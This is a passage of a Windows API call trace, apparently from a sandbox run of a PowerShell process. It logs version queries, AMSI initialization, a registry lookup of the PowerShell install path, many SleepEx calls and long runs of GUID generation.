lplpBuffer=0x2504c7f0c8*=0x0, puLen=0x2504c7f0c0) returned 0 [0113.140] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x2504c7f078, puLen=0x2504c7f070 | out: lplpBuffer=0x2504c7f078*=0x1cbda639368, puLen=0x2504c7f070) returned 1 [0113.140] VerLanguageNameW (in: wLang=0x411, szLang=0x2504c7eda0, cchLang=0x100 | out: szLang="日本語 (日本)") returned 0x8 [0113.140] VerQueryValueW (in: pBlock=0x1cbda638fd8, lpSubBlock="\\", lplpBuffer=0x2504c7f0c8, puLen=0x2504c7f0c0 | out: lplpBuffer=0x2504c7f0c8*=0x1cbda639000, puLen=0x2504c7f0c0) returned 1 [0113.153] AmsiInitialize () returned 0x0 [0114.938] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2504c7dfc0, nSize=0x80 | out: lpBuffer="ⴸ라翹") returned 0x0 [0115.066] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2504c7dfc0, nSize=0x80 | out: lpBuffer="\x01") returned 0x0 [0115.827] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.888] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.921] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.929] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.933] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.944] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.948] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.988] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.051] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.064] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.159] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.194] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.234] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.317] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.364] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.448] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.701] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.958] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.035] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.083] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.130] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.255] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.353] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.499] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.630] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.698] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.770] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.866] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.945] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.020] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.116] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.160] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.239] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.302] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.369] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.411] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.492] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.582] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.634] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.693] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.038] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504c7ed88 | out: phkResult=0x2504c7ed88*=0x640) returned 0x0 [0119.039] RegQueryValueExW (in: hKey=0x640, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2504c7edd8, lpData=0x0, lpcbData=0x2504c7edd0*=0x0 | out: lpType=0x2504c7edd8*=0x1, lpData=0x0, lpcbData=0x2504c7edd0*=0x56) returned 0x0 [0119.039] RegQueryValueExW (in: hKey=0x640, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2504c7edd8, lpData=0x1cbda764790, lpcbData=0x2504c7edd0*=0x56 | out: lpType=0x2504c7edd8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x2504c7edd0*=0x56) returned 0x0 [0119.039] RegCloseKey (hKey=0x640) returned 0x0 [0119.374] GetTimeZoneInformation (in: lpTimeZoneInformation=0x2504c7e9f0 | out: lpTimeZoneInformation=0x2504c7e9f0) returned 0x2 [0119.378] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2504c7da00, nSize=0x80 | out: lpBuffer="‘뗣翹") returned 0x0 [0120.348] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xbf4f773a, Data2=0xb586, Data3=0x4d77, Data4=([0]=0xb0, [1]=0x11, [2]=0x7a, [3]=0xa1, [4]=0x6, [5]=0x5d, [6]=0xf8, [7]=0x7e))) returned 0x0 [0120.392] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xc27fc921, Data2=0xc5fd, Data3=0x4466, Data4=([0]=0x94, [1]=0x3d, [2]=0x93, [3]=0xa9, [4]=0x6c, [5]=0x8f, [6]=0x9, [7]=0x9b))) returned 0x0 [0120.497] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x4aec400, Data2=0xa95e, Data3=0x4821, Data4=([0]=0x8f, [1]=0x3e, [2]=0x88, [3]=0xc4, [4]=0x36, [5]=0x2c, [6]=0x97, [7]=0x6b))) returned 0x0 [0120.498] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xdebcb81c, Data2=0x8988, Data3=0x403b, Data4=([0]=0x8e, [1]=0x75, [2]=0xa1, [3]=0xd4, [4]=0xd5, [5]=0xea, [6]=0x7c, [7]=0x10))) returned 0x0 [0120.515] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xf1f6158, Data2=0x33a5, Data3=0x4140, Data4=([0]=0xbe, [1]=0x6e, [2]=0xa6, [3]=0x26, [4]=0x6d, [5]=0x7a, [6]=0x98, [7]=0xee))) returned 0x0 [0120.516] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xd055e39c, Data2=0x283f, Data3=0x4463, Data4=([0]=0x9f, [1]=0xdf, [2]=0x93, [3]=0xe3, [4]=0x59, [5]=0xc5, [6]=0xc2, [7]=0x90))) returned 0x0 [0120.531] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xf7a64652, Data2=0x9b18, Data3=0x435a, Data4=([0]=0xa8, [1]=0xdf, [2]=0x84, [3]=0x7c, [4]=0x59, [5]=0xfe, [6]=0xd8, [7]=0x6d))) returned 0x0 [0120.633] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xc5a9ad95, Data2=0xd879, Data3=0x4032, Data4=([0]=0x89, [1]=0x92, [2]=0xa, [3]=0x33, [4]=0x4b, [5]=0x40, [6]=0x29, [7]=0x96))) returned 0x0 [0120.650] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xd140c841, Data2=0x86d8, Data3=0x49bd, Data4=([0]=0xa8, [1]=0x5, [2]=0x9a, [3]=0xfc, [4]=0x7f, [5]=0xd7, [6]=0x1b, [7]=0x78))) returned 0x0 [0120.651] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x38c89fdc, Data2=0xc766, Data3=0x49fc, Data4=([0]=0xb4, [1]=0x48, [2]=0xd5, [3]=0xe1, [4]=0xb, [5]=0x93, [6]=0xdf, [7]=0xad))) returned 0x0 [0120.654] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x964f0bc3, Data2=0x6cc8, Data3=0x40ec, Data4=([0]=0x8b, [1]=0xd7, [2]=0x34, [3]=0x99, [4]=0xe0, [5]=0xd5, [6]=0x16, [7]=0xbd))) returned 0x0 [0120.668] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x80d3cd9e, Data2=0x659d, Data3=0x4bbd, Data4=([0]=0xa1, [1]=0x4d, [2]=0x93, [3]=0x9c, [4]=0xba, [5]=0x4, [6]=0xdd, [7]=0x8e))) returned 0x0 [0120.673] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x1d35c59b, Data2=0xe703, Data3=0x4ef7, Data4=([0]=0xb5, [1]=0x76, [2]=0xd8, [3]=0x6e, [4]=0x10, [5]=0x6d, [6]=0xd0, [7]=0x45))) returned 0x0 [0120.673] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x46279a56, Data2=0x66ec, Data3=0x4c09, Data4=([0]=0x84, [1]=0xc1, [2]=0xc, [3]=0xa4, [4]=0xa7, [5]=0x40, [6]=0xbf, [7]=0x7d))) returned 0x0 [0120.747] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x7a9f1cac, Data2=0xf2f, Data3=0x424e, Data4=([0]=0x9d, [1]=0x97, [2]=0xc, [3]=0x52, [4]=0x44, [5]=0xd3, [6]=0xd, [7]=0xa0))) returned 0x0 [0120.748] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x67e8ec1c, Data2=0xb9f4, Data3=0x486f, Data4=([0]=0xb0, [1]=0x74, [2]=0xdc, [3]=0x40, [4]=0x78, [5]=0x4b, [6]=0x54, [7]=0x7c))) returned 0x0 [0120.806] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xcf468419, Data2=0xfcbb, Data3=0x4756, Data4=([0]=0xbf, [1]=0xaa, [2]=0x3c, [3]=0xb0, [4]=0x76, [5]=0x2f, [6]=0x67, [7]=0x9))) returned 0x0 [0120.807] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x67b434cc, Data2=0x192f, Data3=0x4294, Data4=([0]=0xa9, [1]=0xa5, [2]=0x4e, [3]=0xb8, [4]=0x3a, [5]=0x1a, [6]=0x9c, [7]=0xc4))) returned 0x0 [0120.810] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x43a78a08, Data2=0x879a, Data3=0x4777, Data4=([0]=0x81, [1]=0xe8, [2]=0xf5, [3]=0x89, [4]=0x27, [5]=0x6a, [6]=0xc9, [7]=0x76))) returned 0x0 [0120.813] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x514f557d, Data2=0x2c11, Data3=0x48af, Data4=([0]=0x80, [1]=0x9b, [2]=0x6c, [3]=0xb1, [4]=0xfb, [5]=0x68, [6]=0x97, [7]=0xb3))) returned 0x0 [0120.815] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x42217aa4, Data2=0x6a2, Data3=0x4676, Data4=([0]=0x97, [1]=0xb, [2]=0x94, [3]=0xec, [4]=0x3d, [5]=0xe3, [6]=0x64, [7]=0x61))) returned 0x0 [0120.815] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x2200fd35, Data2=0x98a7, Data3=0x4098, Data4=([0]=0x9e, [1]=0x38, [2]=0x72, [3]=0x50, [4]=0x8e, [5]=0xa9, [6]=0x87, [7]=0xf5))) returned 0x0 [0120.819] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xfdf96e14, Data2=0xa2e1, Data3=0x42b0, Data4=([0]=0x8c, [1]=0xa5, [2]=0x40, [3]=0x66, [4]=0xc8, [5]=0x45, [6]=0x28, [7]=0x4a))) returned 0x0 [0120.823] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x55f15334, Data2=0x76ec, Data3=0x4912, Data4=([0]=0xa1, [1]=0x69, [2]=0x4f, [3]=0x7f, [4]=0x15, [5]=0xd0, [6]=0x99, [7]=0x72))) returned 0x0 [0120.823] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x69da41d6, Data2=0x8922, Data3=0x45fa, Data4=([0]=0xb8, [1]=0x43, [2]=0x55, [3]=0x91, [4]=0x7c, [5]=0xd8, [6]=0x1f, [7]=0x1f))) returned 0x0 [0120.823] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xaa31f087, Data2=0x958b, Data3=0x4cda, Data4=([0]=0xa1, [1]=0x18, [2]=0x40, [3]=0x37, [4]=0x83, [5]=0xed, [6]=0x83, [7]=0xd4))) returned 0x0 [0120.824] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xdc5c1bd5, Data2=0xf46f, Data3=0x4134, Data4=([0]=0x94, [1]=0x6, [2]=0x64, [3]=0x7c, [4]=0x7f, [5]=0xee, [6]=0xde, [7]=0xf0))) returned 0x0 [0120.826] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x54adbc5c, Data2=0x74c7, Data3=0x49f6, Data4=([0]=0xb5, [1]=0xad, [2]=0xd9, [3]=0xd7, [4]=0xd5, [5]=0x9f, [6]=0x1f, [7]=0x6e))) returned 0x0 [0120.829] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb056a9df, Data2=0x34e4, Data3=0x429f, Data4=([0]=0xac, [1]=0x61, [2]=0x8a, [3]=0x33, [4]=0xbc, [5]=0xa3, [6]=0xab, [7]=0x3c))) returned 0x0 [0120.831] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x6f4912a2, Data2=0xfa13, Data3=0x484f, Data4=([0]=0x87, [1]=0xf7, [2]=0x8b, [3]=0x95, [4]=0x3c, [5]=0x94, [6]=0xc6, [7]=0x54))) returned 0x0 [0120.832] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xd5b8f04, Data2=0x8a7c, Data3=0x4a4e, Data4=([0]=0xad, [1]=0xde, [2]=0x1a, [3]=0x24, [4]=0x21, [5]=0x0, [6]=0xff, [7]=0x2a))) returned 0x0 [0120.835] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x66fa005b, Data2=0x2ee5, Data3=0x452f, Data4=([0]=0x9b, [1]=0x2, [2]=0x9c, [3]=0xf1, [4]=0x52, [5]=0xc0, [6]=0x1b, [7]=0x37))) returned 0x0 [0120.835] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xe2906f8f, Data2=0x5c5e, Data3=0x4d33, Data4=([0]=0xb8, [1]=0x70, [2]=0xc7, [3]=0x9b, [4]=0x52, [5]=0x77, [6]=0xca, [7]=0x18))) returned 0x0 [0120.839] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x30dc0f12, Data2=0x359b, Data3=0x4fdf, Data4=([0]=0xb7, [1]=0x8e, [2]=0x1, [3]=0x4a, [4]=0x4e, [5]=0xb2, [6]=0x92, [7]=0x7d))) returned 0x0 [0120.839] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x617a9ce8, Data2=0xbc1d, Data3=0x4981, Data4=([0]=0x9d, [1]=0x2b, [2]=0x6b, [3]=0x4d, [4]=0x7e, [5]=0x14, [6]=0x2d, [7]=0xfd))) returned 0x0 [0120.839] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xd17b7f6a, Data2=0xa2a8, Data3=0x4045, Data4=([0]=0xab, [1]=0xc9, [2]=0xe4, [3]=0x3, [4]=0x9d, [5]=0x1a, [6]=0x6b, [7]=0x54))) returned 0x0 [0120.843] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xdabc246f, Data2=0x7641, Data3=0x440f, Data4=([0]=0x99, [1]=0x4d, [2]=0xe6, [3]=0x64, [4]=0xb, [5]=0x98, [6]=0xb2, [7]=0x6c))) returned 0x0 [0120.845] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x982bacff, Data2=0xb064, Data3=0x4c07, Data4=([0]=0xad, [1]=0x68, [2]=0xf6, [3]=0x41, [4]=0x19, [5]=0x7, [6]=0x79, [7]=0x10))) returned 0x0 [0120.919] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb9511a98, Data2=0xda6f, Data3=0x4e53, Data4=([0]=0x9d, [1]=0xab, [2]=0x9f, [3]=0x4d, [4]=0x6a, [5]=0x6b, [6]=0x8c, [7]=0x56))) returned 0x0 [0120.919] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x1c0500fc, Data2=0xb2f1, Data3=0x4607, Data4=([0]=0xb3, [1]=0xf2, [2]=0xfb, [3]=0x14, [4]=0x4b, [5]=0xf8, [6]=0x4, [7]=0xf0))) returned 0x0 [0120.975] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x9cc5e51f, Data2=0xd5f, Data3=0x4323, Data4=([0]=0x93, [1]=0xaa, [2]=0xa5, [3]=0x8e, [4]=0xc7, [5]=0xd5, [6]=0xe, [7]=0x6c))) returned 0x0 [0120.977] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x4b4f4d2d, Data2=0xf824, Data3=0x4a33, Data4=([0]=0xb5, [1]=0xef, [2]=0xa, [3]=0xfd, [4]=0x5c, [5]=0x5c, [6]=0xdb, [7]=0xa8))) returned 0x0 [0120.980] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xdf4632bf, Data2=0x8140, Data3=0x4c32, Data4=([0]=0x8b, [1]=0x4b, [2]=0xdb, [3]=0xd4, [4]=0x50, [5]=0xf8, [6]=0xbd, [7]=0x3e))) returned 0x0 [0120.982] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x85e7e30b, Data2=0x8cb0, Data3=0x4ccf, Data4=([0]=0x82, [1]=0xd3, [2]=0x89, [3]=0x63, [4]=0x54, [5]=0x80, [6]=0x73, [7]=0xe2))) returned 0x0 [0120.984] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xaaa9e46b, Data2=0x11aa, Data3=0x4447, Data4=([0]=0xbd, [1]=0x4c, [2]=0xf5, [3]=0x47, [4]=0x34, [5]=0x58, [6]=0xbd, [7]=0x1f))) returned 0x0 [0120.985] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xe8de05fc, Data2=0xc91b, Data3=0x4601, Data4=([0]=0x8e, [1]=0xbd, [2]=0x38, [3]=0xae, [4]=0x5c, [5]=0x13, [6]=0x8b, [7]=0xab))) returned 0x0 [0120.986] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x6ccda160, Data2=0xd6f7, Data3=0x4424, Data4=([0]=0xa8, [1]=0x81, [2]=0xc0, [3]=0x54, [4]=0xc5, [5]=0xb1, [6]=0x4d, [7]=0x7f))) returned 0x0 [0120.988] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb6be90b4, Data2=0x8ec8, Data3=0x406b, Data4=([0]=0x8a, [1]=0x45, [2]=0x82, [3]=0xad, [4]=0xb4, [5]=0x78, [6]=0xa3, [7]=0xc0))) returned 0x0 [0121.083] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb4cdbafc, Data2=0x60e4, Data3=0x455d, Data4=([0]=0x85, [1]=0x56, [2]=0xaf, [3]=0x9c, [4]=0xcc, [5]=0xca, [6]=0xf9, [7]=0x67))) returned 0x0 [0121.085] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x59d2e66a, Data2=0xc7d7, Data3=0x4c75, Data4=([0]=0x8f, [1]=0x9c, [2]=0xf5, [3]=0xdc, [4]=0x85, [5]=0x4f, [6]=0xf8, [7]=0x31))) returned 0x0 [0121.086] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xe2b02b82, Data2=0xfbf0, Data3=0x4b74, Data4=([0]=0x89, [1]=0x3d, [2]=0xc9, [3]=0xbe, [4]=0x73, [5]=0xa9, [6]=0x27, [7]=0x58))) returned 0x0 [0121.087] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xab89f92e, Data2=0xdb54, Data3=0x4c75, Data4=([0]=0x82, [1]=0xa5, [2]=0xce, [3]=0xaf, [4]=0xe6, [5]=0xaf, [6]=0x2b, [7]=0x30))) returned 0x0 [0121.088] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x785f550e, Data2=0x70e9, Data3=0x4184, Data4=([0]=0xb9, [1]=0x4a, [2]=0x7f, [3]=0x80, [4]=0x47, [5]=0xcf, [6]=0x2a, [7]=0xcc))) returned 0x0 [0121.089] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x5c46e468, Data2=0x64e4, Data3=0x49ad, Data4=([0]=0x87, [1]=0x7f, [2]=0xe0, [3]=0xd1, [4]=0xb, [5]=0x7f, [6]=0x23, [7]=0xd0))) returned 0x0 [0121.090] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xfc67dd5d, Data2=0x44ce, Data3=0x4cc1, Data4=([0]=0x92, [1]=0x3, [2]=0x3e, [3]=0x5d, [4]=0x79, [5]=0xd3, [6]=0xac, [7]=0x20))) returned 0x0 [0121.092] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x929896c8, Data2=0x6ff1, Data3=0x44cb, Data4=([0]=0xa6, [1]=0x37, [2]=0xe5, [3]=0xcb, [4]=0x1c, [5]=0x70, [6]=0xc0, [7]=0x78))) returned 0x0 [0121.093] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x6ac8a84e, Data2=0xba5c, Data3=0x45b2, Data4=([0]=0x9a, [1]=0x8c, [2]=0x78, [3]=0x69, [4]=0x74, [5]=0xb, [6]=0x32, [7]=0xa5))) returned 0x0 [0121.094] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x878e4a67, Data2=0x420d, Data3=0x4f61, Data4=([0]=0xbb, [1]=0x67, [2]=0xff, [3]=0x18, [4]=0xf, [5]=0x17, [6]=0x66, [7]=0x8d))) returned 0x0 [0121.095] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x5b8e0348, Data2=0x1332, Data3=0x43ac, Data4=([0]=0x8c, [1]=0xd1, [2]=0x67, [3]=0xfb, [4]=0x1, [5]=0x29, [6]=0xfa, [7]=0xc7))) returned 0x0 [0121.096] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x9e96d6d, Data2=0xc9ba, Data3=0x45e0, Data4=([0]=0xb6, [1]=0xe7, [2]=0xe4, [3]=0x46, [4]=0x2f, [5]=0xa5, [6]=0xbf, [7]=0x70))) returned 0x0 [0121.097] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x95a05e11, Data2=0x9d4d, Data3=0x47be, Data4=([0]=0x97, [1]=0xd, [2]=0xcc, [3]=0xb8, [4]=0x59, [5]=0xec, [6]=0x7e, [7]=0x4a))) returned 0x0 [0121.098] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x37874769, Data2=0xf908, Data3=0x4243, Data4=([0]=0xb6, [1]=0x7b, [2]=0xa0, [3]=0x45, [4]=0x28, [5]=0x5a, [6]=0x52, [7]=0xf7))) returned 0x0 [0121.100] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x2a543611, Data2=0xc4ca, Data3=0x45d7, Data4=([0]=0x94, [1]=0x89, [2]=0xe4, [3]=0x2c, [4]=0x80, [5]=0xba, [6]=0x37, [7]=0xcc))) returned 0x0 [0121.101] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x222d5890, Data2=0x280c, Data3=0x4490, Data4=([0]=0x9c, [1]=0x43, [2]=0x7, [3]=0x46, [4]=0xc9, [5]=0x8b, [6]=0x7d, [7]=0xa0))) returned 0x0 [0121.102] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xabe4bdcc, Data2=0x4497, Data3=0x4d13, Data4=([0]=0xa7, [1]=0xc8, [2]=0x60, [3]=0x88, [4]=0x83, [5]=0x0, [6]=0x41, [7]=0xa))) returned 0x0 [0121.103] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x3f64388a, Data2=0x6a2e, Data3=0x40c5, Data4=([0]=0x83, [1]=0x33, [2]=0xc7, [3]=0x7a, [4]=0x18, [5]=0x3, [6]=0xc5, [7]=0x2c))) returned 0x0 [0121.104] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xa72852a3, Data2=0x9f10, Data3=0x42b9, Data4=([0]=0x88, [1]=0xf9, [2]=0x16, [3]=0x9a, [4]=0xe, [5]=0x5f, [6]=0xf1, [7]=0xa2))) returned 0x0 [0121.105] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x4f7fa6a6, Data2=0xd213, Data3=0x499b, Data4=([0]=0x91, [1]=0xb2, [2]=0x38, [3]=0x11, [4]=0x9d, [5]=0xd, [6]=0x22, [7]=0x48))) returned 0x0 [0121.106] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xfc170f79, Data2=0x5527, Data3=0x4ab9, Data4=([0]=0xa5, [1]=0x86, [2]=0xe1, [3]=0xd5, [4]=0xd7, [5]=0x83, [6]=0xde, [7]=0x89))) returned 0x0 [0121.107] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x6b424e8e, Data2=0x221, Data3=0x4a4a, Data4=([0]=0xb9, [1]=0x24, [2]=0x5, [3]=0x20, [4]=0xd7, [5]=0x54, [6]=0xc3, [7]=0x20))) returned 0x0 [0121.108] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xeb381bab, Data2=0xf603, Data3=0x4b9e, Data4=([0]=0x97, [1]=0xba, [2]=0x37, [3]=0x2b, [4]=0xbf, [5]=0xf3, [6]=0x30, [7]=0x88))) returned 0x0 [0121.109] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x9a7103ff, Data2=0x3c87, Data3=0x48df, Data4=([0]=0xa6, [1]=0x1a, [2]=0xb, [3]=0xb7, [4]=0xa4, [5]=0x50, [6]=0x9b, [7]=0x75))) returned 0x0 [0121.110] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x264cbe22, Data2=0xc2fc, Data3=0x4fb3, Data4=([0]=0xb5, [1]=0x48, [2]=0x72, [3]=0x1d, [4]=0xb0, [5]=0x13, [6]=0xec, [7]=0xee))) returned 0x0 [0121.110] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x7d1fc820, Data2=0xb7e5, Data3=0x45a3, Data4=([0]=0xb6, [1]=0x62, [2]=0xe7, [3]=0x86, [4]=0xc2, [5]=0x51, [6]=0xd8, [7]=0x5c))) returned 0x0 [0121.111] CoCreateGuid (in: pguid=0x2504c7eb68 | out: 